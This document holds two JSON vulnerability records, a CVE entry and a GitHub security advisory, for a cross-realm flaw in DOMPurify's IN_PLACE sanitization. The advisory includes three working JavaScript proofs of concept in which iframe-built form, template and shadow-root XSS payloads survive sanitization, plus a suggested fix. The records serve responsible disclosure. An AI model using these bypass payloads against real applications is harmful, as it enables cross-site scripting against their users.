{
  "affected": [
    {
      "affectedData": [
        {
          "product": "DOMPurify",
          "vendor": "cure53",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 3.4.6"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Prior to 3.4.6, DOMPurify.sanitize(node, { IN_PLACE: true }) accepted same-origin foreign-realm DOM nodes while follow-on checks used parent-realm constructors, causing instanceof checks for forms, named node maps, document fragments, and elements to fail and skip clobber, template-content, and shadow-DOM sanitization branches so executable markup could survive. This issue is fixed in version 3.4.6."
    }
  ],
  "id": "CVE-2026-49458",
  "lastModified": "2026-07-14T21:17:01.620",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 6.1,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "LOW",
          "integrityImpact": "LOW",
          "privilegesRequired": "NONE",
          "scope": "CHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 2.7,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-07-14T21:17:01.620",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/cure53/DOMPurify/commit/bb7739e5bccec7e1ab3dae3f3e42d02db3acaaae"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/cure53/DOMPurify/releases/tag/3.4.6"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-hpcv-96wg-7vj8"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-79"
        },
        {
          "lang": "en",
          "value": "CWE-501"
        },
        {
          "lang": "en",
          "value": "CWE-693"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.4.5"
      },
      "package": {
        "ecosystem": "npm",
        "name": "dompurify"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.4.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-49458"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-501",
      "CWE-693",
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-15T19:56:35Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "# Cross-realm IN_PLACE sanitization leaves executable markup intact via realm-bound `instanceof` checks\n\n**CWE**: CWE-79 (XSS \u2014 Improper Neutralization of Input During Web Page Generation) via CWE-693 (Protection Mechanism Failure \u2014 realm-bound `instanceof` checks fail-open on foreign-realm DOM nodes) and CWE-501 (Trust Boundary Violation \u2014 foreign-realm nodes accepted for sanitization but later checks are bound to the parent realm)\n\n## Summary\n\n`DOMPurify.sanitize(node, { IN_PLACE: true })` accepts a DOM node from any same-origin realm (e.g. a node owned by an application-created iframe document), but several follow-on security checks compare the node against constructors from the parent realm. Because constructors are per-realm, `instanceof HTMLFormElement`, `instanceof NamedNodeMap`, `instanceof DocumentFragment`, and `instanceof Element` all return `false` for nodes belonging to the iframe\u0027s realm. The library therefore proceeds as if the foreign-realm form is not clobberable, the foreign-realm `\u003ctemplate\u003e`\u0027s `.content` is not a document fragment, and the foreign-realm attached shadow root is not a document fragment \u2014 silently skipping the clobber/template-content/shadow-DOM sanitization branches that those checks gate. Attacker-controlled markup survives in form attributes, template content, and attached shadow roots, and executes when the application later inserts or activates the sanitized node.\n\n## Affected\n\n- DOMPurify \u2264 3.4.5, including `main` at `89da34e03ec17868e561f87f3747a9371b61a9e7`\n- Any caller that constructs or parses untrusted DOM in a same-origin iframe (or any other same-origin realm \u2014 popup window, opened tab, programmatically-created `\u003ciframe srcdoc\u003e`) and then calls `DOMPurify.sanitize(foreignNode, { IN_PLACE: true })` against a sanitizer instance bound to a different realm\n\nNot affected:\n- String-input `DOMPurify.sanitize(dirtyString)` \u2014 the library calls its own parser inside `_initDocument`, the resulting nodes belong to the sanitizer\u0027s own realm, and the `instanceof` checks resolve as expected\n- IN_PLACE calls where the input node was created in the same realm as the DOMPurify instance\n\n## Vulnerability details\n\nThe unifying defect is that `_isClobbered`, `_sanitizeShadowDOM`\u0027s template-content recursion, and `_sanitizeAttachedShadowRoots` all use realm-bound `instanceof` checks against the parent-realm constructors. Each branch fails-open for foreign-realm objects.\n\n### [A] \u2014 `_isClobbered` gates on `element instanceof HTMLFormElement`\n\n`src/purify.ts:1120-1140`:\n\n```ts\nconst _isClobbered = function (element: Element): boolean {\n  return (\n    element instanceof HTMLFormElement \u0026\u0026    // [A] realm-bound \u2014 false for any\n                                              //     iframe-realm \u003cform\u003e element\n    (typeof element.nodeName !== \u0027string\u0027 ||\n      typeof element.textContent !== \u0027string\u0027 ||\n      typeof element.removeChild !== \u0027function\u0027 ||\n      !(element.attributes instanceof NamedNodeMap) ||   // [A\u0027] also realm-bound\n      typeof element.removeAttribute !== \u0027function\u0027 ||\n      typeof element.setAttribute !== \u0027function\u0027 ||\n      typeof element.namespaceURI !== \u0027string\u0027 ||\n      typeof element.insertBefore !== \u0027function\u0027 ||\n      typeof element.hasChildNodes !== \u0027function\u0027 ||\n      !(element.childNodes \u0026\u0026 typeof element.childNodes.length === \u0027number\u0027))\n  );\n};\n```\n\nA foreign-realm `\u003cform\u003e` is an instance of the foreign realm\u0027s `HTMLFormElement`, not the parent realm\u0027s. The leading `instanceof` short-circuits to `false`, so `_isClobbered` returns `false` regardless of the named-property clobbering present on the form. The follow-on `_sanitizeAttributes` then iterates `currentNode.attributes` \u2014 which itself can be a clobbered value (a foreign-realm `\u003cinput\u003e` whose `name=\"attributes\"` shadows the form\u0027s real `NamedNodeMap`). The attribute walk traverses the wrong collection and never reaches the actual `onmouseover` / `onclick` / `action=javascript:` attributes on the form root.\n\n### [B] \u2014 `_sanitizeShadowDOM` gates template recursion on `content instanceof DocumentFragment`\n\n`src/purify.ts:1660-1662`:\n\n```ts\nwhile ((shadowNode = shadowIterator.nextNode())) {\n  ...\n  _sanitizeElements(shadowNode);\n  _sanitizeAttributes(shadowNode);\n  /* Deep shadow DOM detected */\n  if (shadowNode.content instanceof DocumentFragment) {   // [B] realm-bound\n    _sanitizeShadowDOM(shadowNode.content);\n  }\n}\n```\n\nThe same check exists in the main iterator at `:1861-1862`:\n\n```ts\nif (currentNode.content instanceof DocumentFragment) {     // [B\u0027] realm-bound\n  _sanitizeShadowDOM(currentNode.content);\n}\n```\n\nFor a `\u003ctemplate\u003e` element constructed in a foreign realm, `template.content` is a `DocumentFragment` from that realm \u2014 not from the parent realm. Both checks miss it, and the template\u0027s contents (which carry attacker-controlled `\u003cimg src=x onerror=...\u003e` etc.) are never walked. The sanitized output appears clean from the outside, but the moment a consumer does `node.cloneNode(true)` / `importNode(template.content, true)` / inserts it into the live DOM, the embedded handler fires.\n\n### [C] \u2014 `_sanitizeAttachedShadowRoots` gates recursion on `sr instanceof DocumentFragment`\n\n`src/purify.ts:1702-1712`:\n\n```ts\nif (nodeType === NODE_TYPE.element) {\n  const sr = getShadowRoot\n    ? getShadowRoot(root)\n    : (root as Element).shadowRoot;\n  if (sr instanceof DocumentFragment) {                    // [C] realm-bound\n    _sanitizeAttachedShadowRoots(sr);\n    _sanitizeShadowDOM(sr);\n  }\n}\n```\n\nFor a host element constructed in a foreign realm with `host.attachShadow({mode:\u0027open\u0027})`, `host.shadowRoot` is a foreign-realm `ShadowRoot` (which extends the foreign realm\u0027s `DocumentFragment`). The `instanceof DocumentFragment` against the parent realm fails. The whole shadow subtree is skipped. When the host is later attached to the live document, the shadow DOM activates with attacker-controlled content.\n\n### The mismatch\n\nDOMPurify *accepts* foreign-realm nodes for sanitization (the entry-point\u0027s `_isNode(dirty)` at `:1750` is realm-agnostic \u2014 it checks shape, not constructor identity), so callers reasonably expect that the library\u0027s downstream defenses are equally realm-agnostic. They are not. `[A]` / `[B]` / `[C]` each fail-open for foreign-realm objects. A correct guard at each of those sites would use a realm-independent shape check (e.g., `nodeType === 11` for `DocumentFragment`, tag-name comparison for `HTMLFormElement` recognition).\n\n## Proof of concept\n\nEach PoC creates the attacker payload in a same-origin iframe, then calls the parent-realm `DOMPurify.sanitize(node, { IN_PLACE: true })` and verifies that handler execution succeeds on subsequent activation.\n\n### PoC 1 \u2014 cross-realm form clobbering survives\n\n```js\nconst iframe = document.createElement(\u0027iframe\u0027);\niframe.srcdoc = \u0027\u003c!doctype html\u003e\u003chtml\u003e\u003cbody\u003e\u003c/body\u003e\u003c/html\u003e\u0027;\niframe.onload = () =\u003e {\n  const idoc = iframe.contentDocument;\n  const div = idoc.createElement(\u0027div\u0027); div.id = \u0027dirty\u0027;\n  const form = idoc.createElement(\u0027form\u0027);\n  form.setAttribute(\u0027onmouseover\u0027,\n    \u0027window.parent.__dompurify_xss=(window.parent.__dompurify_xss||0)+1\u0027);\n  const inp = idoc.createElement(\u0027input\u0027);\n  inp.setAttribute(\u0027name\u0027, \u0027attributes\u0027);                  // clobbers form.attributes\n  form.appendChild(inp);\n  div.appendChild(form);\n\n  DOMPurify.sanitize(div, { IN_PLACE: true });\n\n  window.__dompurify_xss = 0;\n  document.body.appendChild(div);\n  form.dispatchEvent(new MouseEvent(\u0027mouseover\u0027, { bubbles: true }));\n  // window.__dompurify_xss === 1\n};\ndocument.body.appendChild(iframe);\n```\n\nObserved (Chromium 148, DOMPurify 3.4.5, HEAD `89da34e`):\n\n```json\n{\n  \"sanitizeError\": null,\n  \"before\": {\n    \"formIsMainRealmHTMLFormElement\": false,\n    \"formIsForeignRealmHTMLFormElement\": true,\n    \"formAttributesType\": \"[object HTMLInputElement]\",\n    \"formAttributesEqualsInput\": true\n  },\n  \"after\": {\n    \"html\": \"\u003cdiv id=\\\"dirty\\\"\u003e\u003cform onmouseover=\\\"window.parent.__dompurify_xss=(window.parent.__dompurify_xss||0)+1\\\"\u003e\u003cinput\u003e\u003c/form\u003e\u003c/div\u003e\",\n    \"formOnmouseover\": \"window.parent.__dompurify_xss=(window.parent.__dompurify_xss||0)+1\",\n    \"xssExecuted\": 1\n  }\n}\n```\n\n### PoC 2 \u2014 cross-realm `\u003ctemplate\u003e` content is never walked\n\n```js\nconst iframe = document.createElement(\u0027iframe\u0027);\niframe.srcdoc = \u0027\u003c!doctype html\u003e\u003chtml\u003e\u003cbody\u003e\u003c/body\u003e\u003c/html\u003e\u0027;\niframe.onload = () =\u003e {\n  const idoc = iframe.contentDocument;\n  const div = idoc.createElement(\u0027div\u0027);\n  const tpl = idoc.createElement(\u0027template\u0027);\n  tpl.innerHTML = \u0027\u003cimg src=\"x\" onerror=\u0027 +\n    \u0027\"window.parent.__dompurify_template_xss=(window.parent.__dompurify_template_xss||0)+1\"\u003e\u0027;\n  div.appendChild(tpl);\n\n  DOMPurify.sanitize(div, { IN_PLACE: true });\n\n  window.__dompurify_template_xss = 0;\n  const clone = idoc.importNode(tpl.content, true);\n  document.body.appendChild(clone);                        // fires onerror\n};\ndocument.body.appendChild(iframe);\n```\n\nObserved:\n\n```json\n{\n  \"before\": {\n    \"templateIsMainRealmHTMLTemplateElement\": false,\n    \"contentIsMainRealmDocumentFragment\": false,\n    \"contentIsForeignRealmDocumentFragment\": true\n  },\n  \"after\": {\n    \"templateInnerHTMLAfter\": \"\u003cimg src=\\\"x\\\" onerror=\\\"window.parent.__dompurify_template_xss=(window.parent.__dompurify_template_xss||0)+1\\\"\u003e\",\n    \"xssExecuted\": 1\n  }\n}\n```\n\n### PoC 3 \u2014 cross-realm attached shadow root is never walked\n\n```js\nconst iframe = document.createElement(\u0027iframe\u0027);\niframe.srcdoc = \u0027\u003c!doctype html\u003e\u003chtml\u003e\u003cbody\u003e\u003c/body\u003e\u003c/html\u003e\u0027;\niframe.onload = () =\u003e {\n  const idoc = iframe.contentDocument;\n  const host = idoc.createElement(\u0027div\u0027);\n  host.attachShadow({ mode: \u0027open\u0027 }).innerHTML =\n    \u0027\u003cimg src=x onerror=\"window.parent.__dompurify_shadow_xss=(window.parent.__dompurify_shadow_xss||0)+1\"\u003e\u003cb\u003esafe text\u003c/b\u003e\u0027;\n\n  DOMPurify.sanitize(host, { IN_PLACE: true });\n\n  window.__dompurify_shadow_xss = 0;\n  document.body.appendChild(host);                          // shadow activates, onerror fires\n};\ndocument.body.appendChild(iframe);\n```\n\nObserved:\n\n```json\n{\n  \"before\": {\n    \"hostIsMainRealmElement\": false,\n    \"shadowRootIsMainRealmDocumentFragment\": false,\n    \"shadowRootIsForeignRealmDocumentFragment\": true\n  },\n  \"after\": {\n    \"shadowRootInnerHTMLAfter\": \"\u003cimg src=\\\"x\\\" onerror=\\\"window.parent.__dompurify_shadow_xss=(window.parent.__dompurify_shadow_xss||0)+1\\\"\u003e\u003cb\u003esafe text\u003c/b\u003e\",\n    \"xssExecuted\": 1\n  }\n}\n```\n\nAll three PoCs run cleanly against `dist/purify.js` built from current `main` HEAD `89da34e`.\n\n## Impact\n\n### Direct\n\nAny application that parses, isolates, or constructs untrusted DOM inside a same-origin iframe (a common technique for `\u003cbase href\u003e` isolation, `document.write` sandboxing, layout pre-measurement, declarative-shadow-root attachment, etc.) and then hands the resulting node to a parent-realm DOMPurify instance with `IN_PLACE: true` is vulnerable. The library returns a node whose top-level shape looks sanitized, but executable attacker markup remains in:\n\n- **Form root attributes** \u2014 `onmouseover`, `onfocus`, `onclick`, `action=\"javascript:...\"`, `formaction=`, `target=`, `id=` (DOM-clobbering target), and the full attribute-allowlist set, because `_sanitizeAttributes` walks a clobbered `.attributes` instead of the real `NamedNodeMap`.\n- **`\u003ctemplate\u003e` content** \u2014 `\u003cimg onerror\u003e`, `\u003csvg\u003e\u003cscript\u003e`, `\u003ciframe srcdoc\u003e`, etc., because the inert template tree is never recursed into.\n- **Attached shadow roots** \u2014 any markup inside the shadow root, because the shadow walk is skipped entirely.\n\nXSS triggers when the consuming code:\n- Inserts the form into the live DOM and the user interacts with it (mouseover, click, focus).\n- Clones template content with `importNode` / `cloneNode(true)` / `node.appendChild(template.content)` into the live DOM.\n- Appends the shadow host to the live document (the shadow root becomes active and `\u003cimg onerror\u003e` fires synchronously during the insertion microtask).\n\n### Indirect / second-order\n\n- **DOM-based template engines** (Lit, Polymer, Vue, FAST) that often use foreign-realm `\u003ctemplate\u003e` parsing for performance reasons. If they pipe attacker-influenced content through such a template and then run DOMPurify on the parent-realm host, the template body is sanitization-skipped.\n- **Editor / WYSIWYG frameworks** that render preview content inside a same-origin iframe and then move it into the main document after sanitization.\n- **Email/HTML preview libraries** that parse received HTML in an isolated iframe to neutralize CSS / `\u003cbase\u003e` / form submission, then sanitize via the main page\u0027s DOMPurify.\n- **Declarative shadow DOM consumers** that adopt a host from one realm into another \u2014 the shadow subtree carries the bypass.\n\nThe known prior IN_PLACE-cross-window fix (which closed an earlier cross-window primitive) does not cover the realm-bound `instanceof` checks at `[A]`, `[B]`, `[C]`; current `main` HEAD is still affected.\n\n## Root cause\n\nPer-realm constructors. `instanceof X` checks the prototype chain against the parent realm\u0027s `X.prototype`. Foreign-realm objects have a different `X.prototype` and so fail every such check. The sanitizer accepts foreign-realm DOM nodes for `IN_PLACE` sanitization (the entry-point only checks node shape), but several internal security decisions are still bound to the parent realm. This produces an inconsistency: *\"we accept your node, but we silently behave as if it is not a form, not a template, not a shadow root.\"*\n\nOther realm-bound `instanceof` sites in the same file that should likely be audited as part of the same fix sweep:\n\n```ts\nelement instanceof HTMLFormElement     // src/purify.ts:1122\nelement.attributes instanceof NamedNodeMap  // src/purify.ts:1126\nsr instanceof DocumentFragment         // src/purify.ts:1706\ncurrentNode.content instanceof DocumentFragment  // src/purify.ts:1861\nshadowNode.content instanceof DocumentFragment   // src/purify.ts:1660 (approx)\ncurrentNode instanceof Element         // src/purify.ts:1296 (callsite of _checkValidNamespace)\n```\n\n## Suggested fix\n\nUse realm-independent shape checks consistently for any decision made on a node accepted from `IN_PLACE`:\n\n1. **`HTMLFormElement` detection** \u2014 compare via the realm-independent `getNodeName` cached prototype getter introduced for the recent shadow-root traversal hardening:\n\n   ```ts\n   const _isClobbered = function (element: Element): boolean {\n     const nn = getNodeName ? getNodeName(element) : element.nodeName;\n     if (typeof nn !== \u0027string\u0027 || transformCaseFunc(nn) !== \u0027form\u0027) return false;\n     // ... rest of the typeof / cached-getter shape checks ...\n   };\n   ```\n\n2. **`DocumentFragment` detection** \u2014 `nodeType === NODE_TYPE.documentFragment` (i.e., `11`), not `instanceof DocumentFragment`. The check is already realm-independent because `Node.nodeType` is a numeric constant. Same change for the `\u003ctemplate\u003e`-content and attached-shadow-root recursion sites.\n\n3. **`NamedNodeMap` detection** \u2014 read `element.attributes` via the cached `Element.prototype.attributes` getter (introduce `getAttributes = lookupGetter(ElementPrototype, \u0027attributes\u0027)`) and verify `nodeType === 11`-style shape (length is a number, indexed `[i]` returns objects with `.name`/`.value` strings). Do not rely on `instanceof NamedNodeMap`.\n\n4. **`Element` detection** at `:1296` \u2014 replace `currentNode instanceof Element` with a shape check (`getNodeType(currentNode) === NODE_TYPE.element`).\n\nThe invariant the fix should encode: *once `IN_PLACE` accepts a foreign-realm node for sanitization, every downstream security decision on that node must be foreign-realm-safe.* The cached prototype getters introduced for the shadow-root hardening already point at the right pattern; the fix is to extend that pattern to every realm-bound check in the sanitization path.",
  "id": "GHSA-hpcv-96wg-7vj8",
  "modified": "2026-06-15T19:56:35Z",
  "published": "2026-06-15T19:56:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-hpcv-96wg-7vj8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/cure53/DOMPurify"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "DOMPurify: Cross-realm IN_PLACE sanitization leaves executable markup intact via realm-bound `instanceof` checks"
}